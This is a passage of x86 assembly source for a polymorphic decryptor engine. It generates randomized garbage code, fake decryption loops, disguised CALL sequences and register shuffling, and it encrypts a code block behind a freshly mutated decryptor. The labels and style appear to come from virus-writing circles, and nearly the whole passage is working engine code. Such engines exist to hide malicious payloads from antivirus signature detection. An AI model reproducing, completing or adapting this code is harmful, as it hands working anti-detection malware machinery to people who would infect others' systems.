g_mathregimm32: mov al,81h
|
|
stosb
|
|
call get_valid_reg
|
|
call do_math_work
|
|
stosd
|
|
ret
|
|
|
|
g_mathregimm16: mov ax,8166h
|
|
stosw
|
|
call get_valid_reg
|
|
call do_math_work
|
|
stosw
|
|
ret
|
|
|
|
g_mathregimm8: call get_valid_reg
|
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|
jnz a_math8
|
|
mov al,80h
|
|
stosb
|
|
call do_math_work
|
|
stosb
|
|
and ah,04h
|
|
or byte ptr [edi-00000002h],ah
|
|
a_math8: ret
|
|
|
|
do_math_work: mov eax,end_math_imm-tbl_math_imm
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+eax+tbl_math_imm]
|
|
lodsb
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call get_rnd32
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate decryption instructions (real or fake ones)
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Check if we are going to use a displacement in the
|
|
;indexing mode
|
|
;============================================================
|
|
|
|
fake_or_not: mov eax,dword ptr [ebp+fake_ptr_disp]
|
|
or eax,eax
|
|
jnz more_complex
|
|
|
|
;============================================================
|
|
;Choose generator for [reg] indexing mode
|
|
;============================================================
|
|
|
|
mov edx,offset tbl_idx_reg
|
|
call choose_magic
|
|
jmp you_got_it
|
|
|
|
;============================================================
|
|
;More fun?!?!
|
|
;============================================================
|
|
|
|
more_complex: mov al,byte ptr [ebp+fake_build_flags]
|
|
test al,CRYPT_SIMPLEX
|
|
jnz crypt_xtended
|
|
|
|
;============================================================
|
|
;Choose generator for [reg+imm] indexing mode
|
|
;============================================================
|
|
|
|
mov edx,offset tbl_dis_reg
|
|
call choose_magic
|
|
|
|
;============================================================
|
|
;Use magic to convert some values into
|
|
;desired instructions
|
|
;============================================================
|
|
|
|
you_got_it: call size_correct
|
|
mov dl,byte ptr [ebp+fake_index_mask]
|
|
lodsb
|
|
or al,al
|
|
jnz adn_reg_01
|
|
cmp dl,00000101b
|
|
je adn_reg_02
|
|
adn_reg_01: lodsb
|
|
or al,dl
|
|
stosb
|
|
jmp common_part
|
|
adn_reg_02: lodsb
|
|
add al,45h
|
|
xor ah,ah
|
|
stosw
|
|
jmp common_part
|
|
|
|
;============================================================
|
|
;Choose [reg+reg] or [reg+reg+disp]
|
|
;============================================================
|
|
|
|
crypt_xtended: xor eax,eax
|
|
mov dword ptr [ebp+disp2disp],eax ;Clear disp-over-disp
|
|
|
|
test al,CRYPT_COMPLEX
|
|
jz ok_complex
|
|
|
|
;============================================================
|
|
;Get random displacement from current displacement
|
|
;eeehh?!?
|
|
;============================================================
|
|
|
|
mov eax,00001000h
|
|
call get_rnd_range
|
|
mov dword ptr [ebp+disp2disp],eax
|
|
call load_aux
|
|
|
|
push ebx
|
|
|
|
call GenGarbageEx
|
|
|
|
;============================================================
|
|
;Choose generator for [reg+reg+imm] indexing mode
|
|
;============================================================
|
|
|
|
mov edx,offset tbl_paranoia
|
|
call choose_magic
|
|
jmp short done_xtended
|
|
|
|
ok_complex: mov eax,dword ptr [ebp+fake_ptr_disp]
|
|
call load_aux
|
|
|
|
push ebx
|
|
|
|
call GenGarbageEx
|
|
|
|
;============================================================
|
|
;Choose generator for [reg+reg] indexing mode
|
|
;============================================================
|
|
|
|
mov edx,offset tbl_xtended
|
|
call choose_magic
|
|
|
|
;============================================================
|
|
;Build decryptor instructions
|
|
;============================================================
|
|
|
|
done_xtended: call size_correct
|
|
|
|
pop ebx
|
|
|
|
mov dl,byte ptr [ebp+fake_index_mask]
|
|
lodsb
|
|
mov cl,al
|
|
or al,al
|
|
jnz arn_reg_01
|
|
cmp dl,00000101b
|
|
jne arn_reg_01
|
|
lodsb
|
|
add al,40h
|
|
stosb
|
|
jmp short arn_reg_02
|
|
arn_reg_01: movsb
|
|
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
|
|
shl al,03h
|
|
or al,dl
|
|
stosb
|
|
or cl,cl
|
|
jnz arn_reg_03
|
|
cmp dl,00000101b
|
|
jne arn_reg_03
|
|
xor al,al
|
|
stosb
|
|
|
|
;============================================================
|
|
;Restore aux reg state
|
|
;============================================================
|
|
|
|
arn_reg_03: xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
;============================================================
|
|
;Get post-build flags
|
|
;============================================================
|
|
|
|
common_part: lodsb
|
|
|
|
;============================================================
|
|
;Insert displacement from real address?
|
|
;============================================================
|
|
|
|
test al,MAGIC_PUTDISP
|
|
jz skip_disp
|
|
push eax
|
|
mov eax,dword ptr [ebp+fake_ptr_disp]
|
|
sub eax,dword ptr [ebp+disp2disp]
|
|
neg eax
|
|
stosd
|
|
pop eax
|
|
|
|
;============================================================
|
|
;Insert key?
|
|
;============================================================
|
|
|
|
skip_disp: test al,MAGIC_PUTKEY
|
|
jz skip_key
|
|
call copy_key
|
|
|
|
skip_key: ret
|
|
|
|
;============================================================================
|
|
;Choose a magic generator
|
|
;============================================================================
|
|
|
|
choose_magic: mov eax,00000006h
|
|
call get_rnd_range
|
|
add edx,ebp
|
|
lea esi,dword ptr [edx+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
mov esi,eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Do operand size correction
|
|
;============================================================================
|
|
|
|
size_correct: lodsb
|
|
mov ah,byte ptr [ebp+fake_oper_size]
|
|
cmp ah,01h
|
|
je store_correct
|
|
inc al
|
|
cmp ah,04h
|
|
je store_correct
|
|
mov ah,66h
|
|
xchg ah,al
|
|
stosw
|
|
ret
|
|
store_correct: stosb
|
|
ret
|
|
|
|
;============================================================================
|
|
;Load aux reg with displacement
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Get a valid auxiliary register
|
|
;============================================================
|
|
|
|
load_aux: push eax
|
|
call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
;============================================================
|
|
;Move displacement into aux reg
|
|
;============================================================
|
|
|
|
mov al,0B8h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
pop eax
|
|
neg eax
|
|
stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate push reg + garbage + pop reg
|
|
;============================================================================
|
|
|
|
g_push_g_pop: call gen_garbage
|
|
|
|
call get_rnd32
|
|
test al,01h
|
|
jnz skip_sp_push
|
|
|
|
call push_with_sp
|
|
jmp short from_push
|
|
|
|
skip_sp_push: call get_rnd_reg
|
|
mov al,50h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call gen_garbage
|
|
|
|
from_push: call get_rnd32
|
|
test al,01h
|
|
jz pop_with_sp
|
|
|
|
call get_valid_reg
|
|
mov al,58h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
|
|
call gen_garbage
|
|
ret
|
|
|
|
;============================================================================
|
|
;Emulate a PUSH instruction, using SUB ESP,00000004h
|
|
;============================================================================
|
|
|
|
push_with_sp: mov eax,0004EC83h
|
|
stosd
|
|
dec edi
|
|
call GenGarbageEx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Emulate a POP instruction, using ADD ESP,00000004h
|
|
;============================================================================
|
|
|
|
pop_with_sp: mov eax,0004C483h
|
|
stosd
|
|
dec edi
|
|
call GenGarbageEx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate RET in different ways
|
|
;============================================================================
|
|
|
|
gen_ret: call get_rnd32
|
|
and al,01h
|
|
jnz just_ret
|
|
|
|
call get_valid_reg
|
|
mov al,58h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
mov ax,0E0FFh
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
ret
|
|
|
|
just_ret: mov al,0C3h
|
|
stosb
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate CALL without return
|
|
;============================================================================
|
|
|
|
g_call_cont: mov al,0E8h
|
|
stosb
|
|
push edi
|
|
stosd
|
|
call gen_rnd_block
|
|
pop edx
|
|
mov eax,edi
|
|
sub eax,edx
|
|
sub eax,00000004h
|
|
mov dword ptr [edx],eax
|
|
call GenGarbageEx
|
|
|
|
call get_rnd32
|
|
test al,01h
|
|
jz pop_with_sp
|
|
|
|
call get_valid_reg
|
|
mov al,58h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
|
|
call gen_garbage
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate unconditional jumps
|
|
;============================================================================
|
|
|
|
g_jump_u: mov al,0E9h
|
|
stosb
|
|
push edi
|
|
stosd
|
|
call gen_rnd_block
|
|
pop edx
|
|
mov eax,edi
|
|
sub eax,edx
|
|
sub eax,00000004h
|
|
mov dword ptr [edx],eax
|
|
call GenGarbageEx
|
|
ret
|
|
|
|
g_save_jump: mov al,0E9h
|
|
stosb
|
|
push edi
|
|
stosd
|
|
call gen_rnd_block
|
|
pop edx
|
|
mov eax,edi
|
|
sub eax,edx
|
|
sub eax,00000004h
|
|
mov dword ptr [edx],eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate conditional jumps
|
|
;============================================================================
|
|
|
|
g_jump_c: call get_rnd32
|
|
and ah,0Fh
|
|
add ah,80h
|
|
mov al,0Fh
|
|
stosw
|
|
push edi
|
|
stosd
|
|
call GenGarbageEx
|
|
pop edx
|
|
mov eax,edi
|
|
sub eax,edx
|
|
sub eax,00000004h
|
|
mov dword ptr [edx],eax
|
|
call GenGarbageEx
|
|
ret
|
|
|
|
g_save_jump_c: call get_rnd32
|
|
and ah,0Fh
|
|
add ah,80h
|
|
mov al,0Fh
|
|
stosw
|
|
xor eax,eax
|
|
stosd
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate MOV [mem],reg
|
|
;============================================================================
|
|
|
|
gen_mov_mem8: mov dl,88h
|
|
jmp mem8wr
|
|
gen_mov_mem16: mov al,66h
|
|
stosb
|
|
gen_mov_mem32: mov dl,89h
|
|
jmp gen_mem_wr
|
|
|
|
gen_add_mem8: mov dl,00h
|
|
jmp mem8wr
|
|
gen_add_mem16: mov al,66h
|
|
stosb
|
|
gen_add_mem32: mov dl,01h
|
|
jmp gen_mem_wr
|
|
|
|
gen_sub_mem8: mov dl,28h
|
|
jmp mem8wr
|
|
gen_sub_mem16: mov al,66h
|
|
stosb
|
|
gen_sub_mem32: mov dl,29h
|
|
jmp gen_mem_wr
|
|
|
|
gen_adc_mem8: mov dl,10h
|
|
jmp mem8wr
|
|
gen_adc_mem16: mov al,66h
|
|
stosb
|
|
gen_adc_mem32: mov dl,11h
|
|
jmp gen_mem_wr
|
|
|
|
gen_sbb_mem8: mov dl,18h
|
|
jmp mem8wr
|
|
gen_sbb_mem16: mov al,66h
|
|
stosb
|
|
gen_sbb_mem32: mov dl,19h
|
|
jmp gen_mem_wr
|
|
|
|
gen_or_mem8: mov dl,08h
|
|
jmp mem8wr
|
|
gen_or_mem16: mov al,66h
|
|
stosb
|
|
gen_or_mem32: mov dl,09h
|
|
jmp gen_mem_wr
|
|
|
|
gen_and_mem8: mov dl,20h
|
|
jmp mem8wr
|
|
gen_and_mem16: mov al,66h
|
|
stosb
|
|
gen_and_mem32: mov dl,21h
|
|
jmp gen_mem_wr
|
|
|
|
gen_xor_mem8: mov dl,30h
|
|
jmp mem8wr
|
|
gen_xor_mem16: mov al,66h
|
|
stosb
|
|
gen_xor_mem32: mov dl,31h
|
|
jmp gen_mem_wr
|
|
|
|
mem8wr: call gen_mem_wr
|
|
call get_rnd32
|
|
and al,20h
|
|
or byte ptr [edi-00000005h],al
|
|
ret
|
|
|
|
gen_mem_wr: call get_rnd_reg
|
|
mov ah,byte ptr [ebx+REG_MASK]
|
|
or ah,ah
|
|
jnz skip_wr_eax
|
|
cmp dl,88h
|
|
je gen_mem_wr
|
|
cmp dl,89h
|
|
je gen_mem_wr
|
|
|
|
skip_wr_eax: shl ah,03h
|
|
or ah,05h
|
|
mov al,dl
|
|
stosw
|
|
|
|
movzx eax,byte ptr [ebp+NumberOfDataAreas]
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
|
|
lodsd
|
|
push eax
|
|
lodsd
|
|
sub eax,00000004h
|
|
call get_rnd_range
|
|
pop edx
|
|
add eax,edx
|
|
stosd
|
|
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate clc/stc/cmc/cld/std
|
|
;============================================================================
|
|
|
|
gen_save_code: mov eax,end_save_code-tbl_save_code
|
|
call get_rnd_range
|
|
mov al,byte ptr [ebp+tbl_save_code+eax]
|
|
stosb
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate fake decrypt instructions
|
|
;============================================================================
|
|
|
|
gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h
|
|
jae bad_fake_size
|
|
|
|
cmp byte ptr [ebp+NumberOfDataAreas],02h
|
|
jb bad_fake_size
|
|
|
|
push dword ptr [ebp+fake_ptr_disp]
|
|
push dword ptr [ebp+fake_crypt_key]
|
|
mov dl,byte ptr [ebp+fake_build_flags]
|
|
mov dh,byte ptr [ebp+fake_index_mask]
|
|
shl edx,08h
|
|
mov dl,byte ptr [ebp+fake_oper_size]
|
|
push edx
|
|
|
|
call get_rnd32 ;Get encryption key
|
|
mov dword ptr [ebp+fake_crypt_key],eax
|
|
call get_rnd32 ;Get generation flags
|
|
mov byte ptr [ebp+fake_build_flags],al
|
|
|
|
call get_rnd32 ;Get size of mem operand
|
|
and al,03h
|
|
cmp al,01h
|
|
je ok_fake_size
|
|
cmp al,02h
|
|
je ok_fake_size
|
|
inc al
|
|
ok_fake_size: mov byte ptr [ebp+fake_oper_size],al
|
|
|
|
call get_rnd32 ;Choose displacement
|
|
and eax,00000001h
|
|
jz ok_fake_disp
|
|
|
|
call get_rnd32
|
|
call get_rnd_range
|
|
inc eax
|
|
neg eax
|
|
ok_fake_disp: mov dword ptr [ebp+fake_ptr_disp],eax
|
|
|
|
movzx eax,byte ptr [ebp+NumberOfDataAreas]
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
|
|
lodsd
|
|
add eax,dword ptr [ebp+fake_ptr_disp]
|
|
push eax
|
|
lodsd
|
|
sub eax,00000004h
|
|
call get_rnd_range
|
|
|
|
pop edx
|
|
add eax,edx
|
|
push eax
|
|
|
|
call get_valid_reg
|
|
|
|
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|
mov byte ptr [ebp+fake_index_mask],al
|
|
or al,0B8h
|
|
stosb
|
|
pop eax
|
|
stosd
|
|
|
|
push ebx
|
|
call GenGarbageEx ;Garbage
|
|
call fake_or_not
|
|
call GenGarbageEx ;Garbage
|
|
pop ebx
|
|
|
|
xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
|
|
|
|
pop eax
|
|
mov byte ptr [ebp+fake_oper_size],al
|
|
shr eax,08h
|
|
mov byte ptr [ebp+fake_index_mask],ah
|
|
mov byte ptr [ebp+fake_build_flags],al
|
|
pop dword ptr [ebp+fake_crypt_key]
|
|
pop dword ptr [ebp+fake_ptr_disp]
|
|
bad_fake_size: ret
|
|
|
|
;============================================================================
|
|
;Get a ramdom reg
|
|
;============================================================================
|
|
|
|
get_rnd_reg: mov eax,00000007h
|
|
call get_rnd_range
|
|
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
|
|
;============================================================================
|
|
|
|
get_valid_reg: call get_rnd_reg
|
|
mov al,byte ptr [ebx+REG_FLAGS]
|
|
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
|
|
jnz get_valid_reg
|
|
ret
|
|
|
|
;============================================================================
|
|
;Load ecx with crypt_size / oper_size
|
|
;============================================================================
|
|
|
|
fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt]
|
|
xor ecx,ecx
|
|
mov cl,byte ptr [ebp+oper_size]
|
|
shr ecx,01h
|
|
or ecx,ecx
|
|
jz ok_2ecx
|
|
shr eax,cl
|
|
jnc ok_2ecx
|
|
inc eax
|
|
ok_2ecx: mov ecx,eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate polymorphic decryptor... Whats new on this poly engine?
|
|
;
|
|
;On entry:
|
|
; esi -> Pointer to code
|
|
; edi -> Where to generate polymorphic decryptor
|
|
; ecx -> Size of area to encrypt
|
|
; edx -> Entry point to code once decrypted
|
|
;On exit:
|
|
; ecx -> Decryptor size
|
|
; edi -> End of decryptor
|
|
;
|
|
;============================================================================
|
|
|
|
Mutate: push ebx ;Save base address
|
|
add edx,ebx
|
|
mov dword ptr [ebp+PtrToEP],edx ;Save ptr to entry-point
|
|
|
|
mov dword ptr [ebp+PtrToCrypt],esi ;Save crypt offset
|
|
mov dword ptr [ebp+PtrToDecrypt],edi
|
|
mov dword ptr [ebp+SizeCrypt],ecx ;Save size of block
|
|
|
|
lea esi,dword ptr [ebp+tbl_startup]
|
|
lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
|
|
mov ecx,00000007h
|
|
loop_init_regs: lodsb
|
|
stosb
|
|
inc edi
|
|
loop loop_init_regs
|
|
|
|
xor eax,eax
|
|
mov byte ptr [ebp+NumberOfDataAreas],al ;Clear # of data area
|
|
mov byte ptr [ebp+recursive_level],al ;Clear recursive
|
|
|
|
mov ecx,NUM_DA
|
|
lea edi,dword ptr [ebp+tbl_data_area] ;Init data areas
|
|
loop_init_da: stosd
|
|
stosd
|
|
loop loop_init_da
|
|
|
|
call get_valid_reg
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|
mov byte ptr [ebp+index_mask],al
|
|
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
|
|
|
|
xor eax,eax
|
|
mov ecx,00000005h
|
|
lea edi,dword ptr [ebp+style_table+00000004h]
|
|
clear_style: stosd
|
|
add edi,00000004h
|
|
loop clear_style
|
|
|
|
call get_valid_reg
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|
mov byte ptr [ebp+counter_mask],al
|
|
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER
|
|
|
|
call get_rnd32
|
|
and eax,00000001h
|
|
jz ok_disp
|
|
call get_rnd32
|
|
ok_disp: mov dword ptr [ebp+ptr_disp],eax
|
|
|
|
call get_rnd32
|
|
mov dword ptr [ebp+crypt_key],eax
|
|
|
|
call get_rnd32
|
|
mov byte ptr [ebp+build_flags],al
|
|
|
|
call get_rnd32
|
|
and al,03h
|
|
cmp al,01h
|
|
je get_size_ok
|
|
cmp al,02h
|
|
je get_size_ok
|
|
inc al
|
|
get_size_ok: mov byte ptr [ebp+oper_size],al
|
|
|
|
mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor
|
|
|
|
call gen_rnd_block ;Random data block
|
|
mov ecx,00000005h ;Generate 5 routines
|
|
|
|
do_subroutine: push ecx
|
|
|
|
routine_done: mov eax,00000005h ;Random step
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+style_table+eax*08h]
|
|
|
|
xor edx,edx ;Already generated?
|
|
cmp dword ptr [esi+00000004h],edx
|
|
jne routine_done
|
|
|
|
push edi ;Generate routine
|
|
call GenGarbageEx
|
|
lodsd
|
|
pop dword ptr [esi]
|
|
add eax,ebp
|
|
call eax
|
|
call GenGarbageEx
|
|
|
|
call gen_ret
|
|
|
|
call gen_rnd_block
|
|
|
|
pop ecx ;Generate next subroutine
|
|
loop do_subroutine
|
|
|
|
mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point
|
|
|
|
;============================================================
|
|
;If this is the 1st decryptor we need to save
|
|
;some regs
|
|
;============================================================
|
|
|
|
cmp byte ptr [ebp+IsFirst],00h
|
|
je SkipSaveRegs
|
|
|
|
mov al,REG_READ_ONLY
|
|
|
|
or byte ptr [ebp+tbl_reg_ebx+01h],al
|
|
or byte ptr [ebp+tbl_reg_esi+01h],al
|
|
or byte ptr [ebp+tbl_reg_edi+01h],al
|
|
or byte ptr [ebp+tbl_reg_ebp+01h],al
|
|
|
|
mov byte ptr [ebp+recursive_level],04h
|
|
|
|
mov ecx,00000004h
|
|
lea esi,dword ptr [ebp+PshPStepIndex]
|
|
DoRestorePush: push ecx
|
|
push esi
|
|
|
|
call GenInitGarbage
|
|
|
|
pop esi
|
|
|
|
lodsd
|
|
lea edx,dword ptr [ebp+eax+TblDoPush]
|
|
mov al,byte ptr [edx]
|
|
stosb
|
|
mov dl,not REG_READ_ONLY
|
|
|
|
TryToFixEBX: cmp al,053h
|
|
jne TryToFixESI
|
|
|
|
and byte ptr [ebp+tbl_reg_ebx+01h],dl
|
|
jmp ShitIsFixed
|
|
|
|
TryToFixESI: cmp al,056h
|
|
jne TryToFixEDI
|
|
|
|
and byte ptr [ebp+tbl_reg_esi+01h],dl
|
|
jmp ShitIsFixed
|
|
|
|
TryToFixEDI: cmp al,057h
|
|
jne TryToFixEBP
|
|
|
|
and byte ptr [ebp+tbl_reg_edi+01h],dl
|
|
jmp ShitIsFixed
|
|
|
|
TryToFixEBP: cmp al,055h
|
|
jne ShitIsFixed
|
|
|
|
and byte ptr [ebp+tbl_reg_ebp+01h],dl
|
|
|
|
ShitIsFixed: pop ecx
|
|
|
|
loop DoRestorePush
|
|
|
|
mov byte ptr [ebp+recursive_level],00h
|
|
|
|
and byte ptr [ebp+tbl_reg_ebx+01h],dl
|
|
and byte ptr [ebp+tbl_reg_esi+01h],dl
|
|
and byte ptr [ebp+tbl_reg_edi+01h],dl
|
|
and byte ptr [ebp+tbl_reg_ebp+01h],dl
|
|
|
|
;============================================================
|
|
;Build the JZ/JNZ instruction (at the end of the decryptor
|
|
;loop) at runtime
|
|
;============================================================
|
|
|
|
SkipSaveRegs: call GenGarbageEx
|
|
|
|
test byte ptr [ebp+build_flags],CRYPT_FOG
|
|
jz NoEndFog
|
|
|
|
FuckFogEBP: call get_valid_reg
|
|
cmp byte ptr [ebx+REG_MASK],00000101b
|
|
je FuckFogEBP
|
|
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
mov dword ptr [ebp+XrndReg],ebx
|
|
|
|
push ebx
|
|
|
|
mov al,byte ptr [ebx+REG_MASK]
|
|
or al,0B8h
|
|
stosb
|
|
call get_rnd32
|
|
stosd
|
|
mov dword ptr [ebp+Xrnd1],eax
|
|
|
|
call GenGarbageEx
|
|
|
|
mov dword ptr [ebp+XrndFixPtr],edi
|
|
add edi,00000006h
|
|
|
|
call gen_garbage
|
|
|
|
mov dword ptr [ebp+XrndMath],edi
|
|
add edi,00000006h
|
|
|
|
pop ebx
|
|
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
call gen_garbage
|
|
|
|
;============================================================
|
|
;Generate CALLs to each routine inside garbage code
|
|
;============================================================
|
|
|
|
NoEndFog: lea esi,dword ptr [ebp+style_table+00000004h]
|
|
mov ecx,00000005h
|
|
|
|
do_call: push ecx ;Gen CALL to each step
|
|
cmp ecx,00000003h
|
|
jne is_not_loop
|
|
call GenGarbageEx
|
|
mov dword ptr [ebp+loop_point],edi
|
|
is_not_loop: call GenGarbageEx
|
|
|
|
call get_rnd32
|
|
and al,01h
|
|
jz MutateCall
|
|
|
|
StandardCall: mov al,0E8h ;CALL opcode
|
|
stosb
|
|
lodsd
|
|
sub eax,edi
|
|
sub eax,00000004h
|
|
stosd
|
|
jmp DoneMutateCall
|
|
|
|
CallStepADD: mov ax,0C081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
lodsd
|
|
call FromPoly2Rva
|
|
sub eax,edx
|
|
stosd
|
|
ret
|
|
|
|
CallStepSUB: mov ax,0E881h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
lodsd
|
|
call FromPoly2Rva
|
|
neg eax
|
|
add eax,edx
|
|
stosd
|
|
ret
|
|
|
|
CallStepXOR: mov ax,0F081h
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
lodsd
|
|
call FromPoly2Rva
|
|
xor eax,edx
|
|
stosd
|
|
ret
|
|
|
|
MutateCall: push esi
|
|
call get_valid_reg
|
|
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
mov al,0B8h
|
|
or al,byte ptr [ebx+REG_MASK]
|
|
stosb
|
|
call get_rnd32
|
|
stosd
|
|
push eax
|
|
push ebx
|
|
call GenGarbageEx
|
|
pop ebx
|
|
mov eax,NumCallStep
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+tbl_call_step+eax*04h]
|
|
lodsd
|
|
add eax,ebp
|
|
pop edx
|
|
pop esi
|
|
push ebx
|
|
call eax
|
|
call GenGarbageEx
|
|
pop ebx
|
|
mov ax,0D0FFh
|
|
or ah,byte ptr [ebx+REG_MASK]
|
|
stosw
|
|
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
|
|
|
|
DoneMutateCall: call GenGarbageEx
|
|
lodsd
|
|
pop ecx
|
|
loop do_call
|
|
|
|
call GenGarbageEx ;End condition
|
|
call gen_loop
|
|
call gen_rnd_block
|
|
|
|
pop ebx
|
|
|
|
push edi
|
|
sub edi,dword ptr [ebp+PtrToDecrypt]
|
|
push edi
|
|
|
|
mov edi,dword ptr [ebp+PtrToCrypt]
|
|
add edi,ebx
|
|
call fixed_size2ecx ;Encrypt requested area
|
|
loop_hide_code: push ecx
|
|
mov eax,dword ptr [edi]
|
|
call perform_crypt
|
|
xor ecx,ecx
|
|
mov cl,byte ptr [ebp+oper_size]
|
|
loop_copy_res: stosb
|
|
shr eax,08h
|
|
loop loop_copy_res
|
|
pop ecx
|
|
loop loop_hide_code
|
|
|
|
mov edx,dword ptr [ebp+entry_point]
|
|
|
|
sub edx,ebx ;Get entry-point offset
|
|
|
|
pop ecx
|
|
pop edi
|
|
|
|
ret
|
|
|
|
;============================================================================
|
|
;Poly engine initialized data
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Register table
|
|
;
|
|
; 00h -> BYTE -> Register mask
|
|
; 01h -> BYTE -> Register flags
|
|
;============================================================
|
|
|
|
tbl_regs equ $
|
|
|
|
db 00000000b,REG_READ_ONLY ;eax
|
|
tbl_reg_ebx db 00000011b,00h ;ebx
|
|
db 00000001b,00h ;ecx
|
|
db 00000010b,00h ;edx
|
|
tbl_reg_esi db 00000110b,REG_NO_8BIT ;esi
|
|
tbl_reg_edi db 00000111b,REG_NO_8BIT ;edi
|
|
tbl_reg_ebp db 00000101b,REG_NO_8BIT ;ebp
|
|
|
|
end_regs equ $
|
|
|
|
;============================================================
|
|
;Aliases for reg table structure
|
|
;============================================================
|
|
|
|
REG_MASK equ 00h
|
|
REG_FLAGS equ 01h
|
|
|
|
;============================================================
|
|
;Bit aliases for reg flags
|
|
;============================================================
|
|
|
|
REG_IS_INDEX equ 01h ;Register used as main index register
|
|
REG_IS_COUNTER equ 02h ;This register is used as loop counter
|
|
REG_READ_ONLY equ 04h ;Never modify the value of this register
|
|
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version
|
|
|
|
;============================================================
|
|
;Initial reg flags
|
|
;============================================================
|
|
|
|
tbl_startup equ $
|
|
|
|
db REG_READ_ONLY ;eax
|
|
db 00h ;ebx
|
|
db 00h ;ecx
|
|
db 00h ;edx
|
|
db REG_NO_8BIT ;esi
|
|
db REG_NO_8BIT ;edi
|
|
db REG_NO_8BIT ;ebp
|
|
|
|
;============================================================
|
|
;Code that does not disturb reg values
|
|
;============================================================
|
|
|
|
tbl_save_code equ $
|
|
|
|
clc
|
|
stc
|
|
cmc
|
|
cld
|
|
std
|
|
|
|
end_save_code equ $
|
|
|
|
;============================================================
|
|
;Generators for [reg] indexing mode
|
|
;============================================================
|
|
|
|
tbl_idx_reg equ $
|
|
|
|
dd offset xx_inc_reg
|
|
dd offset xx_dec_reg
|
|
dd offset xx_not_reg
|
|
dd offset xx_add_reg
|
|
dd offset xx_sub_reg
|
|
dd offset xx_xor_reg
|
|
|
|
;============================================================
|
|
;Generators for [reg+imm] indexing mode
|
|
;============================================================
|
|
|
|
tbl_dis_reg equ $
|
|
|
|
dd offset yy_inc_reg
|
|
dd offset yy_dec_reg
|
|
dd offset yy_not_reg
|
|
dd offset yy_add_reg
|
|
dd offset yy_sub_reg
|
|
dd offset yy_xor_reg
|
|
|
|
;============================================================
|
|
;Generators for [reg+reg] indexing mode
|
|
;============================================================
|
|
|
|
tbl_xtended equ $
|
|
|
|
dd offset zz_inc_reg
|
|
dd offset zz_dec_reg
|
|
dd offset zz_not_reg
|
|
dd offset zz_add_reg
|
|
dd offset zz_sub_reg
|
|
dd offset zz_xor_reg
|
|
|
|
;============================================================
|
|
;Generators for [reg+reg+imm] indexing mode
|
|
;============================================================
|
|
|
|
tbl_paranoia equ $
|
|
|
|
dd offset ii_inc_reg
|
|
dd offset ii_dec_reg
|
|
dd offset ii_not_reg
|
|
dd offset ii_add_reg
|
|
dd offset ii_sub_reg
|
|
dd offset ii_xor_reg
|
|
|
|
;============================================================
|
|
;Opcodes for math reg,imm
|
|
;============================================================
|
|
|
|
tbl_math_imm equ $
|
|
|
|
db 0C0h ;add
|
|
db 0C8h ;or
|
|
db 0E0h ;and
|
|
db 0E8h ;sub
|
|
db 0F0h ;xor
|
|
db 0D0h ;adc
|
|
db 0D8h ;sbb
|
|
|
|
end_math_imm equ $
|
|
|
|
